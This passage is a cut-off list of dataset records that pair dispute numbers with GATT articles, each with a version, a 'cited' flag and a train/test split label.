'split': 'train'}, {'ds_art': '477_Article X:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '425_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '366_Article VII', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '415_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '302_Article X:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '477_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '76_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '523_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '282_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '399_Article II', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '135_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '415_Article XIX:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '161_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '345_Article X:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '392_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article X:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '60_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '464_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '394_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '430_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '473_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '339_Article III:5', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '431_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '345_Article X:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '90_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '397_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '345_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '268_Article X', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '175_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '399_Article XIX', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '139_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '394_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '492_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '415_Article XIX:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '283_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '265_Article XVI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '108_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '69_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '400_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '155_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '302_Article XV', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '269_Article XXIII:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '46_Article XVI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article II:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '290_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '257_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '499_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '492_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '301_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '56_Article VIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '437_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '217_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '165_Article VIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '234_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '202_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '294_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '234_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '360_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '343_Article XX', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '431_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '302_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '207_Article II', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '202_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '495_Article XXIII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '217_Article XXIII:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '103_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '437_Article XXIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '412_Article III:5', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '464_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '290_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '276_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '447_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '456_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '221_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '379_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '22_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '301_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '499_Article XIII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '397_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '121_Article XIX', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '139_Article XXIV', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '122_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '457_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '425_Article VI:6', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '139_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '343_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '265_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '484_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '436_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '449_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article VII:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '499_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '504_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '276_Article XVII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '488_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '152_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '485_Article II:1(a)', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '34_Article XXIV', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '231_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '266_Article XVI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '518_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '286_Article XXII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '152_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '457_Article X:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '221_Article VI:6', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '22_Article VI:6', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '464_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '174_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '384_Article IX', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '320_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '2_Article XXII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '302_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '339_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '406_Article XX', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '248_Article XIX:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '447_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '302_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '136_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '332_Article XIII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '492_Article XXVIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '431_Article VII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '431_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '406_Article XXIII:1(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '394_Article VIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '268_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '103_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '2_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '332_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '492_Article XIII:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '475_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '472_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '339_Article XIII:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '31_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '161_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '457_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '422_Article VI:2(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '518_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '282_Article X', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '490_Article XIX:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '234_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '286_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '454_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '343_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '345_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '69_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '435_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '162_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '453_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '155_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '316_Article XXIII:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '146_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '406_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '397_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '295_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '162_Article III', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '485_Article VII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '513_Article X:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '461_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '316_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '475_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '394_Article VIII:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '493_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '67_Article XXIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '146_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '234_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '69_Article XXVIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '345_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '257_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '295_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '475_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '366_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '75_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '161_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '296_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '394_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '161_Article XVII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '246_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '296_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '394_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '175_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '476_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '366_Article XIII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '56_Article VII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '219_Article I', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '219_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '397_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '480_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '449_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '412_Article XXIII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '166_Article I', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '472_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '384_Article IX:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '312_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '499_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '18_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '276_Article XVII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '453_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '315_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '339_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '366_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '336_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '267_Article XVI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '379_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '490_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '339_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '322_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '245_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '177_Article XIX', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '302_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '264_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '518_Article XIX:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '363_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article VII:5', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '429_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '399_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '177_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '436_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '320_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '472_Article II:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '58_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '400_Article XXIII:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '492_Article XIII:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '231_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '343_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '468_Article II:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '62_Article II', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '264_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '162_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '492_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '366_Article VII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '363_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '90_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '56_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '68_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '472_Article III:5', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '207_Article XIX:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '429_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '58_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '490_Article XIX:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '302_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '453_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '69_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '2_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '414_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '135_Article XXIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '427_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '267_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '430_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '58_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '217_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '177_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '343_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '384_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '476_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '339_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '234_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '322_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '513_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '492_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '343_Article XIII:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '165_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '248_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '480_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '174_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '384_Article XXIII:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article VII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '396_Article III:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '472_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '457_Article II:1(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '513_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '103_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '366_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '312_Article VI:2(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '68_Article XXII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '217_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '276_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '461_Article VIII:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '484_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '152_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '381_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '486_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '431_Article VIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '152_Article II', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '476_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '477_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '400_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '442_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '202_Article XIX', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '350_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '34_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '332_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '345_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '392_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '231_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '58_Article XX', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '343_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '69_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '108_Article XVI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '468_Article XIX:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '244_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '332_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '315_Article X:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '366_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '479_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '165_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '141_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '90_Article XVIII:11', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '344_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '344_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '343_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '345_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '440_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '162_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '415_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '484_Article X:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '461_Article II:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '431_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '484_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '429_Article VI:2(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '234_Article XXIII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '513_Article X:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '269_Article XXIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '513_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '184_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '366_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '453_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '366_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '322_Article VI:2(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article II:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '339_Article III:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '488_Article I', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '155_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '394_Article X:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '31_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '312_Article VI:6', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '302_Article X:3(a)', 'version': '1.0.0', 'cited': True, 